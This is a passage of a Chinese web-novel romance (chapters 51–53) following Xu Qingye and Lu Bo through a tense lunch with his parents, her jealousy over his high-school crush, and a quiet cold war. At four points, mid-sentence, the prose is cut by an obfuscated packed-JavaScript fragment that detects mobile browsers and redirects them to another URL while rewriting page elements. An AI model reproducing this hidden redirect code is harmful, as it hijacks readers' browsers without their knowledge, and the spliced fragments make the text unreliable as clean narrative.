许清也本来真的没有一点买衣服的想法。 迈进店门的一瞬间,看见熟悉的品牌标志,她就拖着路薄想要走来着。 可路薄不动声色地揽住她的腰,语气强硬却透露着央求。 “挑两件吧。” “不是还欠你一件大衣吗?” 许清也讶异地看他,男人眼神示意身后衣摆的一圈,她才终于想起来他指的是两人刚重新遇见不久的事情。 “不是说只赔半件吗?” 许清也故意逗他,谁知道他竟然接下话碴点了点头。 “嗯,只赔半件。” “剩下的蒋女士支付。” 许清也上次来就知道了这家店是蒋玉琳的,听他这么说,分不清楚他是玩笑还是真心话,也没工夫计较他小气的半件说辞了。 在店员热情的招呼下,许清也拉了拉他的袖子示意他低头,抿着唇维持礼貌的笑。 “你不会真玩啃老那一套吧?” 她是真心的不想收蒋影后的衣服,不仅仅是因为那条短信,上次祝映欣的事情,她也还是始终有点说不清道不明的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049739|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意。 路薄低头配合她的高度,说话间温热的鼻息扑在她耳边。 “给太太买衣服,当然要花我自己的钱。” “不过这次是蒋女士给你的赔礼,你不收,一会儿吃饭她可能会觉得有点下不来台。” 许清也脸上最后的僵持的微笑也有点支撑不住了。 “你说什么吃饭?” 她实在是不懂路薄为什么忽然那么着急地安排“见父母”这一项工作。 要认真算起来,明明两年前就正正经经见过了。 “中午在顶楼的餐厅,上次的宴会,蒋女士说要跟你吃顿饭道个歉。” 路薄半哄半央求地压低声音,目光正一件件大量着店员推荐的几件大衣,似乎觉得好几件都一样适合许清也,皱着眉像是在做困难的抉择。 “小也,”他干脆想出了更合适的处理办法,“要不你都试试,一起送到家里?” 许清也一口浊气忍了又忍。 看到他一副对她的气恼全无察觉的样子,更是忍不住火冒三丈。 毕竟是长辈邀约,想到一会儿还要见路薄的爸妈,她还是暂且忍了下来。 对他的话,当然是一个眼神也没搭理,兀自挑起另一排的新款来。 上一次在宴会上一个招呼也没打就离开了,更别提上一次见到路薄父亲还是在两年前他们的订婚宴上。一个比一个尴尬。 她现在唯一能想到的办法就是尽量体面大方地吃顿饭,好歹不能把本来就不佳的印象变得更差。 许清也专心挑着衣服,没发现身后男人的目光一直温柔地跟随着她。 被她甩开的手背在身后,修长的指节思忖着环着圈比划大小。 挑选了一件款式大方简单的大衣,搭配一条咖色的毛呢长裙,许清也直接在试衣间换下了臃肿的长款棉袄,就直奔二楼的造型店。 离午餐时间根本没多少剩余,她甚至来不及烫个头发,只能简单化了淡妆,扎了个丸子头。 好在许清也本来皮肤就很好,加上五官精致,即使是淡妆,也显得清新动人。 高高的丸子头更是减龄,虽然不如卷发成熟魅力,反而更合适她灵动大方的气质。 “抱歉。” 路薄步子大,许清也拽着他小跑着往顶楼的餐厅跑,他加快脚步配合她的动作,看见她额角太过着急沁出的薄汗,有点自责没有考虑周全。 “是我没考虑到你化妆和做发型的时间。” “可以慢慢来的,他们应该还没到餐厅。” 三分钟前蒋女士还发消息跟他说已经在包厢里坐下了,头一回,路薄违心地撒了谎。 “不用,能早点到当然最好。” 许清也微喘着气回答。 从造型店出来的时候离约定的时间就只剩下几分钟了。她知道早点到是有点不现实了,可至少不能迟到。 路薄看到她眼中的坚定,也只好跟上她的步子。 紧赶慢赶,终于踩着点赶到。 路薄撑着包厢门让许清也先进,她站在门口长呼一口气调整呼吸,挂上招牌的甜笑,礼貌地进门道: “叔叔阿姨,不好意思,我们来晚了。” 包厢里原本的说笑声骤然停下。 许清也抬头,目光扫过桌边。 除了路父路母,竟然还在桌边看到了一个令她惊讶的身影。 祝映欣闻声回头,似乎对她的到来一点也不惊讶,捋着碎发笑道: “许小姐,好巧。” 51. 钻戒吗 餐厅包厢。 满桌子都是华丽丰富的菜式,这家餐厅显然是偏江南菜式的中餐馆,精致诱人的菜式还在源源不断的地端上来,一桌人却都几乎没怎么下筷子。 空气中漂浮着一片客气疏离的因子。 许清也尴尬地抿了口红酒,碗里就忽然多了块米粉肉。 身边的男人淡淡收回手,什么也没说,只是眼神示意她多吃点。 本来的确是很寻常的一个举动。 怪就怪在自从坐下来开始大家都没怎么下筷子,路薄这一动作算得上是桌上幅度最大的动作了,自然而然地吸引了桌对面路父路母的目光。 许清也抬眼偷瞄了对面两位长辈一眼,两人好像都习以为常。 其实她的气还没消,但当着人家爸妈的面,不吃他夹的菜怎么也不太好。更不好的是,身边这男人根本没有给他爸妈夹菜的意思。 “不知道这里的菜合不合你胃口,小也你尝尝。” 蒋玉琳打破沉默,把粉蒸肉往她面前转了转。 “小也,多吃点。” 路向明神情和蔼地招呼许清也,也用公筷给她夹了一块米粉肉。 两位长辈的态度其实跟当年商量两家婚事的时候差不多。说实话,许清也有点受宠若惊。 毕竟不管路薄再怎么迟到,把事情做绝,先逃婚的人终究是她。 于是许清也点点头笑着应下,低头小口吃完了父子俩夹来的菜。 两块米粉肉吃的她如鲠在喉。 一桌人似有若无的视线都落在许清也身上,心思各异。 “小也一看就文静又听话,跟这臭小子不一样。” 路向明听到她应话,冷不丁地感慨。 许清也下意识觉得他话里藏话,还没来得及从里头嗅出什么蛛丝马迹,蒋玉琳就扯了扯身边人的袖子,堵住了他的话。 “都是好孩子,就是我们家这臭小子脾气怪,难得小也不嫌弃他。” 这话许清也可没办法接,只好摆手夸道: “阿姨您客气了,路薄他很好。” “他只是不爱自夸,其实一直都惦记着家人,还很细心……” 路向明分明刚才还横眉厉目的,听到许清也夸路薄的话,唇角还是露出不易察觉的笑意。 蒋玉琳显然心情也不错,就这话题忽然打开了话匣子,跟许清也分享起许多路薄小时候的趣事。许清也对这些也很好奇,她听的认真,蒋玉琳讲的也就来了趣。 原本气氛已经在慢慢升温,蒋玉琳玩笑的语气责问许清也怎么还叫阿姨。 许清也羞涩地笑了笑,也就顺势改口喊了爸妈。 气氛还算是温馨和乐,只可惜有人总爱煞风景。 路薄小时候其实大多是跟着爷爷,由家里的住家阿姨照顾,蒋玉琳那时候正是事业转型期,成天飞来飞去拍戏,亲身陪着他经历的童年趣事当然不多。 说着说着,后面的事其实就多是由阿姨转述而知的。 一来二去,记忆总是会有点偏差。 再三被路薄冷不丁出口纠正细节后,蒋玉琳拍拍许清也的手,忽然想起另一件趣事,正开口说了“他五岁那年……”,就被路薄再一次打断纠正。 “是四岁。” 男人甚至没有分出视线,专心挑着鱼刺,眉目冷漠地出声纠正。 “臭小子,你知道我要说哪件事吗,就纠正!” 蒋玉琳终于忍不住火气小小地爆发。 “不是《小王子》那件事吗?” 那年路薄刚刚会认不少字,对爷爷给他买的这本书爱不释手,正是开始好强的时候,后来也不肯别人给他念,非要自己端着书给自己念睡前故事。 家里人对他能完整认出书上的字,都有些不敢置信。 后来才偶然发现,路薄根本不是把这些字都认得了,而是把故事背下来了。 以至于缺了页的童话书捧在手里,还是能完整地念出原页上的内容。 “妈你除了这几件事,还有别的可说吗?” 路薄终于抬头看已经坐在一块的两个女人。 他简单的一句话刺得蒋玉琳心底一痛,却又哑口无言。 她是电影圈里人人尊重功成名就的前辈,演了很多次妈妈,在生活中却不足够尊重母亲这个角色。 有偏差的记忆,一次又一次提醒着她错过的那些痕迹。 没法再看一次的,孩子成长的痕迹。 蒋玉琳极力保持优雅,却还是忍不住难堪到呼吸剧烈地起伏。 引起这一切的人却根本没有意识到他随意的话带来的伤害,又或者说,这样的难堪完全在他的意料之内。 许清也夹在母子二人中间,不清楚内情,也不便随意介入。 于是她找了个借口,暂时溜去了洗手间,把时间留给母子俩。 起身的时候许清也还悄悄拍了拍路薄的肩,示意他少说点气话,期望着等她回去,包厢里的气氛不会更冷。 没想到的是,她刚从洗手间隔间出来,一抬眼,就看见水池边女人金发窈窕的背影。 眼熟。 再一看镜子,简直让人惊叹一声孽缘。 “许小姐?” 被认出来了,许清也也就大大方方走到她身侧的水池边洗手。 “祝小姐,好巧。” 祝映欣的目光在镜中挪向她,忽然轻笑了一声。 “许小姐不会还在介意我上次的恶作剧吧?” 许清也听不懂她的意思,挑眉问: “没有介意的必要,不过,祝小姐什么时候恶作剧过?” 不管是杀青宴上的挑衅、还是刚才明明一两句就能解释的事,硬是拖到路薄动了怒意,她都不觉得这能算是恶作剧。 “刚才真的只是偶然遇见,所以进去打个招呼罢了。” “还有,杀青宴的事情我道歉。” 祝映欣轻轻甩了甩指尖的水珠,爽快道: “不过我不是冲你,只是想看路薄吃瘪的样子而已。” 许清也挪开手,面前的感应水龙头不再出水,水声停下,祝映欣的声音也更加清晰。 “谁让他先惹我男朋友不高兴了,我当然得替我家亲爱的报个仇。” “对了,今天我就是跟我男朋友在隔壁的包厢吃饭呢。” 似乎想起来许清也应该不太清楚前因后果,祝映欣好意地解释道: “前阵子有个拍卖会,这种场合他一向是陪蒋阿姨走个过场,谁知道那天把我男朋友想拍的宝石给抢走了。” “我家亲爱的可是等了那颗宝石很久呢。” 祝映欣的语气有点惋惜,看来的确也很喜欢那颗宝石。 “宝石?” 许清也的心忽然被这个名词挠了一下,痒痒的,却又不想表现得落了下风。 “嗯,说起来挺土豪款的那种。”祝映欣说着说着也笑起来,随意感叹道: “他本来打算买来做钻戒跟我求婚的,多漂亮啊,我偶然知道了,才有点气不过。” 钻戒? 许清也脑子里瞬间蹦出对那件星星一样细小闪耀的东西所有的印象。 心里对他小小的气闷还没消,但对这个代表婚姻和承诺的物件,却没有预料中的抗拒。反而,有点说不清的期待。 终究是夺人所好,许清也压着嘴角上翘的弧度,认真地问: “祝小姐方便告诉我,是什么时候的拍卖会吗?” 祝映欣的视线无意扫过她空空如也的十指,忽然变得吞吞吐吐起来。 “我也记不太清了……” “许小姐,其实我还挺想跟你做朋友的。”她冷不丁憋出一句这样的话,临走时才语焉不详地道: “圈子里都知道路薄高中时候暗恋过一个小他两级的学妹,好像是叫何玫。” “她最近,好像要回国了。” 没头没脑的,说要做朋友,更像故意拿以前的事膈应她一道。 都是成年人了,谁还没点过去的事情,这样不显得幼稚吗? 许清也没听懂她的意思,但也没追着问,只是终究悄悄在心上挂了一记。 从洗手间出来,一路上许清也都忍不住在回想刚才的对话。 刚走到包厢门口,才推门,就直直撞上路薄坚硬的胸膛。 “怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081361|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她吃痛地揉着鼻尖,手腕先一步得到回答,被男人扣住往外走。 力道温柔,但却怎么都挣脱不了。 许清也只好匆忙转身跟两位长辈告别,跟着他的步子跌跌撞撞出了餐厅。 “到底怎么了!” 一大早起来就被他拉着做这个做那个,许清也早就憋了一肚子气。刚出了餐厅,就立刻爆发地甩开他的手。 男人听话地顺着力道松开手,却一言不发。 许清也怒冲冲地抬头,才发现他双眸憋得通红,微微颤动的眉梢间显然压抑着怒气、失落……兴许还有什么她没能看清的。 她的心一下子就软了。 “这顿饭不就是为了缓和关系吗?我们就这么走了,不都白费了吗?” 她试图好好劝解,拉着男人的手抬头看他的表情。 “没有白费。” 路薄冷冷地吐出几个字,接着意识到自己过于冰冷的态度,解释道: “他们很喜欢你,这就够了。” “至于我跟他们的关系,不需要缓和。” 他不是在撒谎。 多年间点点滴滴积累的隔阂,就算表面上能装成一家人,实际上在路薄心中,他们一家只不过是彼此关心的陌生人罢了。 缺席带来的生疏,不是一两天能缓和的。 “你真是……” 许清也被他的逻辑气笑了。 虽然明白他是真心这么想的,但谁家的父母不是认为自家孩子最好? 即使路父路母会喜欢她,还不是因为爱他,所以才爱屋及乌。 两人僵持之际,耳边忽然跃入一记熟悉的男声。 “哥,嫂子,你们不进去在门口干嘛呢?” 许清也顺着声音看去,面前人的眼睛跟路薄像了八成,带着口罩和鸭舌帽,一副做作的全副武装。 这人不是路远还有谁? “你们不会就吃完了吧?” “爸妈呢?” 路远连着蹦出几个问句,句句踩在雷点上。 路薄冰刀一样冰冷锋利的眼神看得他一哆嗦,求助地望向许清也。 许清也叹了口气,懒得再劝,心里也憋着气,自顾自下楼。 路薄依旧一言不发的跟在她身后。 自从帮路薄偷完户口本,路远还没有回过家,自然也没见过爸妈。 没有这俩人缓冲火力,他可不敢一个人进去。结果自然是跟屁虫一样地跟在两人身后。 “在商场门口等我。” 路薄轻轻捏了捏许清也柔软无骨的手,压低声音补充地“央求”道: “好吗?” 许清也本来不想理,闻言轻哼一声算是答应,在一楼下了电梯。 两人是开车过来的,许清也站在商场马路边等路薄开车过来,路远则捂着帽子狗狗祟祟地跟在她身边。 感觉到路人飘忽过来的目光,许清也嫌弃地避开半步。 她退开,路远就牛皮糖一样跟上来,生怕被这俩人给丢下。 许清也忍不住想,如果是路薄的性格,大概会站在原地目送她避开。 顶多,会用眼神泄露一点藏不住的不舍。 兄弟俩还真是一点都不像。 思绪飘落到兄弟二字上,她忽然想到什么,抿唇不再避开。 “路远。” 她一点大名,路远立刻抬起帽檐示意她小声点。 许清也勉强压低声音,抱臂问: “上次在酒吧,你穿的那件T恤是从枣枣家拿的吧?” “什…什么?” “怎么‘肯’能……我是说,当然不是了。” 他被打了个措手不及,撒谎的时候舌头都有点打结。 “你放心,我不会往外说的。” 许清也上半句话一出,形象在路远心里立刻高大了起来。 只不过高大不了两秒,立刻变成了斤斤计较的奸商形象。 “帮你隐瞒,总得有点回报吧?” 她眯着眼假装思忖,语气随意地问道: “你哥跟那位姓何学妹之间的故事,你应该都知道吧?” 52. 幼稚又小气的人 从地下停车场到商场门口的路不远,熟悉的越野车很快在有说有笑的两人面前停下。 驾驶座的车窗被摇下。 路薄本来不打算开窗,可面前的两人不知道在聊些什么,丝毫没有注意到面前稳稳停下的车。 “滴——” 他轻挪肘臂,长而尖锐的汽车笛声终于吸引了面前两人的注意力。 “哥,你就到了?” 路远用他僵硬的演技表达了惊讶,然后拉开后座车门麻溜上了车。 许清也余光瞥见了他“无意”按喇叭的小动作,收了笑,冷着脸拉开副驾驶车门。 “下车。” 路薄的声音没有一点起伏,冷冷地命令。 前后座的两人正动作统一地拉着安全带,许清也闻言楞了一瞬,什么也没说,径直松开了安全带。 她的气本来就没消干净,反而有愈烧愈烈的趋势。 动作也越发利落。 “不是说你。” 驾驶座的男人伸手拉住她的手腕,声音里带着两分喂叹的无奈。 “还不下去?” 他的视线透过前窗中间的后视镜对上后座的路远,语气冷了几度,是最后通牒的意思。 路远早就听出来说的是他,只不过想着装死蒙混过关,所以窝在后座不吭声。 没想到就这样还是被路薄给揪住了,只好叹着气磨磨蹭蹭开门。 换刚才,他说什么也要赖在车上,趁机把上次得罪他哥的事情给翻篇。 但现在这气氛,感觉继续呆下去只会火上浇油。 更别提刚说了不该说的话,还有股子背叛的心虚。 后车门啪地一声关上,车里恢复了原来的清净。 路薄松开许清也的手腕,顺势接过她手里的安全带,稳稳卡进凹槽。 他倾身的动作许清也不可能没察觉到,不过从始至终,她都偏着头看向窗外的车流。 比起来时,回程要安静地多。 许清也望着前窗玻璃旁的玫瑰积木,不自觉有点走神。 脑子里兜兜转转,都是路远刚才那句: “我哥有阵子的确因为她神神叨叨地。” 其实商场里那点气,真的不至于到现在还摆在心里。何况从路远那里,她还知道了路薄父母态度忽然转变的原因。 因为两年前那场无疾而终的订婚宴,路许两家在圈子里丢光了脸,两家的关系也就此结怨。 不管当年路父路母对她有多喜爱,许清也都有自知之明。 不可能认可地如此轻易的。 果然是路薄提前去找了许民辉。 两家结怨后,路向明跟许民辉就一直暗自在生意场上较劲。不同意现在两人的婚事,路向明也主要是因为拉不下面子。 既然拉不下面子,索性就让面子无存。 路薄直接下了死招,跑到许民辉面前低头求娶。 消息才小范围地在圈子里传开半天,路向明果然沉不住气,赶在他把路家的“面子”丢光之前答应了婚事,还主动提起要请许清也吃一顿饭。 正因为这顿饭是路向明提议的,在包厢里见到祝映欣的时候路薄才会那么生气,还以为是路向明又在耍什么把戏,直接拽着她的手臂就要离开。 在她还没有回到这座城市之前,身边这个男人就已经把她所担心的事情一件件解决了。 以至于现在这一切,对许清也来说都有点轻易到不真实的感觉。 副驾的女孩陷在回忆中,路薄看不清她侧脸的表情,握在方向盘上的指节紧了又松。 “抱歉让她出现在包厢里,但是小也…” “我真的根本不认识她。” 许清也一时没回过神来,表情木然地回头。 “你说谁?” 分不清她的表情里是不是还有一点在意,男人抬眼看了眼变化的红绿灯,抿唇道: “祝映欣。” “嗯,名字记得很清楚,你这不是认识吗。” 许清也点点头,态度平淡到让路薄反而有点不安。 “真的不认识…” 男人好像也不知道该怎样佐证自己的话,最后只是苍白地重复这五个字。 许清也正低头刷微博,闻言随意地附和: “嗯,你说不认识就不认识吧。” 就是不知道祝小姐知不知道抢了她心头好的人,压根说不认识她。 忽然冒出来狡黠的念头让许清也暂时忘了介意的事,不自觉弯了唇角。 路薄余光收入她嘴角的笑,以为她是被手机上的段子逗笑了,好像坐实了她不在乎的态度。 他彻底有点慌了神,忽然事无巨细地解释道: “爷爷心脏一直不好,祝映欣在瑞士机场救过爷爷一次,除此之外,我跟她真的没有其他交集了。” “小也,你相信我好不好?” 许清也还在刷着新条漫地下的夸夸,乍听见路薄事无巨细的解释,茫然地抬头。 目光对上男人长睫下波动的眸色,忽然共感了他刚才不安的情绪。 “嗯,我知道了。” 她这次放下手机,语气真诚地回答了一遍。 “我相信你的。”许清也怕影响他开车,动作轻柔地在他小臂上安抚地拍了拍。 力道小到与其说是拍,似乎用“顺毛”这个词更贴切些。 路薄好像也意识到自己刚才过分外露的情绪,有意识地放松紧绷的手臂肌肉,点了点头。 在地下停车场熄了火,他伸手去帮许清也解开安全带。 俯身的动作让两人的脸靠得很近,她白皙小巧的耳垂就在他眼前,在灯光昏暗的地下,白的几近发光。 路薄敛眸压下莫名的舌燥,想说点什么缓和气氛,想起她昨天在微博更新过的新系列条漫,忽然认真夸道: “新系列的条漫很好看。” 这样的短句好像不怎么具有说服力,于是他又匆匆补充: “比你桌面的画风更考究,也更有生命力。” 他俯身的动作没有退开,这样近距离地被夸,许清也忍不住被他灼热的气息吹的有点飘飘然 “是…是吗。” 许清也缩了缩有点痒意的锁骨根,嘴硬的同时抿唇忍住嘴角上扬的冲动。 “是。” 他回答的声音里带着笑意,追问道: “小也,你有想过自己画点什么吗?” 声音好像跟记忆中某句模糊的问句重合。 许清也想起来高三的时候,“国王先生”也问过她相似的问题。 那时候她的梦想是去南航画飞机草图,没有犹豫地回答道不想。 她是要给国家画飞行器草图的人,当然不会想自己画点什么。 但此刻,手机屏幕微弱的亮光映在车窗玻璃上,顺着模糊的光圈,许清也好像能光凭记忆想起在盐湖山画的那些小故事。 这些年来看过的不同的云,不同的星星,和不同的天,她在新系列的条漫里画了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13116732|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一部分。 形式并不严肃,虽然配文的知识部分相对专业,但画风完全是卡通的风格。 过程格外顺利,她一小时也没有体会过去年冬天休假时候那种辗转无法下笔的痛苦。 好像又重新回到了大学时候选择这一行的时候,每天只是捧着画板触碰这些曾经以为没机会再碰的东西,就觉得过去的喜欢没有落到地上。 许清也忽然觉得她的答案有了变化。 “嗯,我有想画的。” 她弯着眉眼偏头道: “等杂志社的特刊告一段落,我就去忙这些。” 路薄只能听清她骤然变得晴朗的语气,刚放心地直起身,就听见身女孩踌躇的声音。 “你很喜欢玫瑰吗?” 不明所以的目光随着她的眼神落到那支积木红玫瑰上,路薄呼吸一窒,以为她猜到了什么,余光偷偷揣测她的神色。 “嗯,很喜欢。” 他老老实实地点了点头,如果仔细去看,还能看见男人通红的耳根。 话音刚落,身侧就传来利落地关门声。 路薄跟着下车,不远不近地走在许清也右后侧一步的位置。 许清也走的又急又快,跟刚才的态度来了一百八十度的大转弯,让他摸不着头脑,有点苦闷地垂眸看她的影子。 那支红玫瑰积木就是去年许清也拿错的快递,说是他们重逢的“媒人”也不为过,应该不太可能是不高兴他把这个摆车里。 难道是不喜欢他太过直白的表白? 他这厢胡乱猜测,至少有一点是踩在点上的。 对于路薄那句“很喜欢”。 许清也偷偷骂了一路“喜欢个鬼”。 路薄高中暗恋过的那个学妹叫何玫。 听说路薄以前就会叫她“玫瑰”。 听说何学妹追了他很久,他也只是傲娇地假装拒绝。直到高考结束,何学妹忽然没有告别就出国留学去了,他才追悔莫及地低沉了一年,做出了诸多神神叨叨的行为。 听说…… 总之从路远那里听来的桩桩件件都让她烦心。 于是当余光瞥见路薄偷偷伸出手想捉住她的手心的时候,许清也装作顺手地抬手把碎发捋到耳后,避开了他停滞在半空的手。 成年人了,读书时候的事情谁不是当作翻篇一笑而过。 更何况路薄对她的用心摆在明面上,许清也毫不质疑他对自己的爱。 但在车里的那一刻,他直起身,身后那朵娇艳欲滴的红玫瑰就刺眼地抢夺着她的视线,让她不停想起祝映欣那句: “她最近,好像要回国了。” 一瞬间,原本赏心悦目的摆台变得碍眼起来。 许清也忍不住去猜这朵玫瑰放在这里有没有百分之一是因为那个她未曾见过面的学妹。 放在耳际的指尖挪到脸颊处揉了揉。 她其实有点怕。 从小到大运气都不好的她,有点怕现在的幸福来源于阴差阳错,而这种好运气终究会被收回。 暴力地揉着脸颊的手被一只大手捉开。 “许清也。” 他好像认真的时候总是喜欢喊她的全名。 男人的指尖覆上她微红的颊侧,动作轻柔地揉了揉。 “生我的气,别虐待你的脸。” 她顺着他叹息的语气抬头,直直撞上他满目不掩饰的心疼。 这瞬间,许清也第一次意识到,原来自己也是这么幼稚又小气的人。 53. 冷战 路工程师跟女朋友吵架了。 地质院的八卦主力军根据观察提出以下有力论据: 第一,路薄工作的时候看手机的频率又增加了,好像在等消息,但是从来没有回复的机会; 第二,路薄的领带又恢复了万年相同的款式; 第三…… 八卦小分队的众人同时抬头看向打印机前的石宇。 “小石,你怎么看?” 办公室主任推了推镜框,代表群众悄悄问。 突然被点名,石宇莫名觉得这场景有点熟悉。 鉴于前几天他才被狠狠打过脸,这回他选择和稀泥地道: “路哥的事,我也有点说不准……” 聊八卦最忌这种没劲的回答,反正一道之隔,问他还不如自己观察。 办公室主任挥了挥手,示意他可以退下了。 石宇捧着资料刚转到走廊上,一份装订好的厚文件忽然从天而降,叠到他手里资料的最顶端。 “辛苦帮我一块带给路工程师了。” 磁性又吊儿郎当的声音一出,这人是谁已经很明显了。 他回头一看,果然。 游煜西装笔挺地从他身边路过,刚走出几步,不知道想起什么,忽然挂起贱兮兮的笑,倒退回来拿回了那沓厚文件。 “小遇帮我订的,我还是亲手拿过去比较放心。” 游煜接着晃了晃手里的文件,大步流星地朝路薄一组的办公室方向走去。 石宇忍不住嘴角抽搐,心想恋爱果然可怕,连院里有名的花花公子游工程师都难逃一劫。 自从跟程工程师在一起后,恨不得一点点小事都要拿出来炫耀。 看看。 如果欠揍有等级,他刚才那个笑估计是宗师级别的… 连石宇一个单身的都这么认为,这副贱笑在路薄眼里只会更刺眼。 路薄连一个余光都懒得赏,头也不抬地点了点桌侧的文件堆道: “文件放下,慢走。” 然而路薄余光真正时刻关注的手机却依然一片静悄悄。 游煜难得顺着他的话照做,果然指尖还没离开文件,就把刚才在石宇面前的话状似不经意地重复了一遍: “我家小遇帮我订的,你小心点,看完还要还我的啊。” 话落,他喜滋滋地神色就对上路薄冰锥一样的眼神。 好像他说了什么十恶不赦的话。 游煜挑眉,意思是——怎么?我的话有不对? 视线对峙几秒,路薄冷着脸打量完他难得正经的一身西装,先一步开口: “拿走吧。” ? 游煜停在原地没动,暴脾气有点压不住了。 要看的人也是路薄,叫拿走的也是他。大家是同事又不是上下级,把谁当猴耍呢? 没等他发火,就听路薄扶着镜框补充道: “既然你这么宝贝,我可以看电子版。” 办公室里一声清脆的巨响。 后一步赶到的石宇看到的画面就是游工程师高高举起文件,重重落下的最后一秒改变心意,一巴掌拍在办公桌上,然后冷哼着摔门而出。 桌上留下一个带着雾气的巴掌印,而路薄全程就像是另一个世界的人,没给出丁点反应。 随着重重的关门声,桌角黑漆漆的手机屏终于被消息提示唤亮。 【路先生,您上次定制的钻戒已经到店,请问您什么时候方便来拿】 虽然不是期待的发讯人,但也算是期待的消息之一。 路薄的心情短暂回温,回复道: 【大概今天傍晚。】 石宇不怕死地问: “路哥,游工程师怎么了这是?” “看症状,可能是躁郁。” 路薄闻言抬头,还是那副冰块脸,但语气里多了点认真。 “多包容他吧。” 石宇心里憋不住狂笑,脚下一个箭步坐回自己的位置。 真没想到路哥还会开这种玩笑。 “资料明天发到我邮箱里。” 路薄很快切换到工作模式,不再是不是瞥一眼静悄悄的手机。 石宇看着他桌上堆成小山的资料,笑着笑着渐渐笑不出来了。心里叹着气,忍不住问道: “路哥,这次的项目你真的不去吗?” 本来路薄一年就有十个月不呆在江城的研究院里,比起坐在办公室对比数据写综述,他更喜欢带队去实地考察。 他年轻又肯吃苦,学历无可挑剔,专业能力也称得上一声强悍,晋升拿奖,院里大家都很服气。 不过自从上次借调到丰城的项目后,路薄好像忙了那么多年终于累了,一直推辞着外地的考察工作。 说实话,石宇还挺怀念跟在路薄身后考察的日子。 虽然条件苦,但路薄就像团队的一根定心神针。 石宇一直没说,在丰城的时候,他甚至觉得路薄手里拿着的地质锤的时候,连路薄面前的石头都是发着光的。 “不去了。” 路薄抬手捏了捏眉心,取下眼镜收拾起桌面。 石宇偷瞄了好几眼,看他态度太坚决,劝说的话还是没说出口。 只不过心里还是默默为他可惜。 毕竟这次去青海考察的项目级别很高,说不定这一趟下来,路哥还能写篇震惊地质圈的论文,顺手再拿个奖。 功利角度来说,比他之前去的都划算多了。 正想着,下班的点一到,组里的几个同事纷纷提包下班,路薄也跟着他们身后出了门。 “路哥,接女朋友呢?” 石宇难得看见路薄准点下班,想起上次在车里远远看过的女孩,八卦地凑过去问。 “不是。” 也许是前阵子台风的影响,这几天傍晚的风都挺大。 路薄把发票塞进兜里,低头的时候唇角还是扬起愉悦的弧度。 他破天荒地抬头朝石宇好心情地笑了笑。 “是老婆。” 留下石宇一个人愣在地质院门口,感觉受到了比游工程师更恶意的攻击。 不行。 这个消息不能只震惊他一个人,他得去告诉八卦阵线的同事们。 还吵架呢? 人分明是不声不响结了个婚。 …… 结婚是真,吵架是假。 许清也的确跟路薄吵不起来,于是他们冷战了。 从那天吃饭回来,两个人即使躺在一张床上,说的话也不超过十句。 其实主要是许清也单方面的选择冷战,但届于路薄本来话就少,没人打开话题,他更是半天憋不出一句话。 两个人也就顺理成章地冷战起来。 许清也没想到自己这么小气,居然真的在吃十年八年前的醋。这在理智的她看来,是有点无理取闹的事情,于是她有意回避着跟路薄的交流,选择用时间淡化不合理的醋味。 特刊已经迈入最后的筹备阶段,定稿基本完成,就剩下盯工厂印刷那块的事情了。 这部分工作她相信小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13128086|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栗她们完全有能力负责好,一点也不担心。 所以这大概是她最后一天来杂志社上班了。 美编组的同事们大概也猜到了这一点,今天光是递给她的小零食,都给许清也吃了个半饱。 就连一向看她不顺眼的文晓都跑来问她今后是不是要回去继承家产了。 许清也笑着收拾东西,没点头也没摇头。 文晓最后兜着圈子闲聊了半天,塞给她一袋印着一堆陌生语言的威化饼干。 “买多了,吃不完。” 许清也抬头望了一眼她消失得飞快的身影,想起来年前文晓在办公室分零食,分的就是这种威化饼干。 当时唯独没有分给她,她不知道内情,从小栗那里尝到的时候觉得好吃,还找小栗要过链接。 东西不是小栗买的,小栗当然是没有链接的。 知道了真相的她,其实也有过一段时间更讨厌文晓了。 不远的事,现在想起来却好像隔了很久。 许清也轻笑了一声,看着彻底收拾干净的办公桌,感觉自己好像连带着把那段躲着尹女士做插画师,不够勇敢、也不够真诚对待画画的日子一起打扫干净了。 一身轻松。 